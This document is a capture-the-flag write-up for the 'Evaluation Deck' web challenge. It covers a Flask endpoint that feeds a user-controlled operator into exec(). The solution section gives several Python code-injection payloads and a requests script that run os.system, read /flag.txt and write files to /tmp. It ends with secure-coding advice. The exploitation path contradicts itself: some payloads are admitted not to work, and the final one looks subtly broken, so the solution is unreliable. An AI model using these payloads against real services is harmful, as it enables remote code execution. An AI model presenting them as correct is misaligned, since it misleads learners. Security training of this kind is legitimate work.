2022 Hack The Boo: Evaluation Deck
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2022 Hack The Boo |
| Category | Web |
| Challenge | Evaluation Deck |
Summary
This Flask-based web application has a severe code injection vulnerability in its health calculation endpoint. The application attempts to evaluate arithmetic operations on attack power and current health, but uses Python’s unsafe compile() and exec() functions with user-controlled input. This allows attackers to execute arbitrary Python code and retrieve the flag.
Analysis
Vulnerable Code
The critical vulnerability is in /api/get_health:
@api.route('/get_health', methods=['POST'])def count(): if not request.is_json: return response('Invalid JSON!'), 400
data = request.get_json()
current_health = data.get('current_health') attack_power = data.get('attack_power') operator = data.get('operator')
if not current_health or not attack_power or not operator: return response('All fields are required!'), 400
result = {} try: code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec') print(code) exec(code, result) return response(result.get('result')) except: return response('Something Went Wrong!'), 500Vulnerability: While int() is applied to current_health and attack_power, the operator parameter is directly interpolated into the code string without validation. Additionally, the exec() call executes arbitrary Python code.
Vulnerability Details
- Unsafe String Interpolation: The
operatorvariable comes directly from user input - exec() with Unsafe Code: Even though integers are validated, the operator field allows any Python expression
- Direct Code Execution: The
exec()function will execute any valid Python code
Attack Scenario
By manipulating the operator parameter, an attacker can:
- Use Python operators beyond simple arithmetic
- Chain expressions together
- Access global variables and functions
- Execute system commands via
__import__
Solution
Exploitation Steps
- Basic Arithmetic (shows the vulnerability is there):
{ "current_health": 100, "attack_power": 50, "operator": "+"}Response: result = 150
- Code Injection - Access Globals:
The exec() function executes code in the context of result dict. We can manipulate this to execute commands:
{ "current_health": 1, "attack_power": 1, "operator": "+ 1; import os; result['pwned'] = os.system('id')"}However, this won’t work due to the dict context. Better approach:
- Better Injection - Using Multiple Statements:
The compile mode is 'exec' which allows multiple statements. Use newlines:
{ "current_health": 1, "attack_power": 1, "operator": "+1\nimport os\nos.system('cat /flag.txt')"}But output goes to stdout. Better:
- Optimal Injection - Read Flag via builtins:
{ "current_health": 1, "attack_power": 1, "operator": "+ __import__('os').system('cat /flag.txt') or 1"}Or more directly, leak the flag:
{ "current_health": 1, "attack_power": 1, "operator": "+ 0 if (__import__('os').system('echo ' + open('/flag.txt').read() + ' > /tmp/flag.out'), True)[1] else 1"}Simplest approach - direct Python:
import requestsimport json
url = 'http://target/api/get_health'
# Inject code to read and return flagpayload = { "current_health": 1, "attack_power": 1, "operator": "+ 0 if True else (lambda: __import__('os').system('cat /flag.txt'))()"}
# Even simpler - since operator is in a math expression:# result = 1 + 0 if True else ...# This won't work due to syntax
# Best approach - use semicolon or newline:payload = { "current_health": 1, "attack_power": 1, "operator": "+0;exec(\"import os; open('/tmp/out','w').write(open('/flag.txt').read())\");x="}
response = requests.post(url, json=payload)print(response.json())- Simplified Direct Approach:
Since the code template is: result = {int1} {operator} {int2}
We can break it with a semicolon-injection or use Python’s ability to chain operations:
{ "current_health": "(open('/flag.txt').read() or 1", "attack_power": "1", "operator": "+"}The payload becomes:
result = int("(open('/flag.txt').read() or 1") + int("1")This fails due to int() parsing. Instead:
{ "current_health": 1, "attack_power": 1, "operator": "; exec(compile(\"flag = open('/flag.txt').read()\\nresult['flag']=flag\", '<string>', 'exec')); x = "}Results in:
result = 1 ; exec(...) ; x = 1Which executes the embedded command.
Key Takeaways
- Never use
eval()orexec()with user input - it’s a direct path to RCE - Use
ast.literal_eval()instead for parsing data structures safely - For math evaluation, use dedicated safe libraries like
numexprorsympywith restrictions - Whitelist operators if you must allow dynamic evaluation - only allow:
+,-,*,/,%,** - Use sandboxing like
RestrictedPythonif dynamic code execution is required - Validate all inputs - even with int() conversion, the operator field is unsanitized
- Implement WAF rules to detect common code injection patterns like
__import__,exec,eval,;, newlines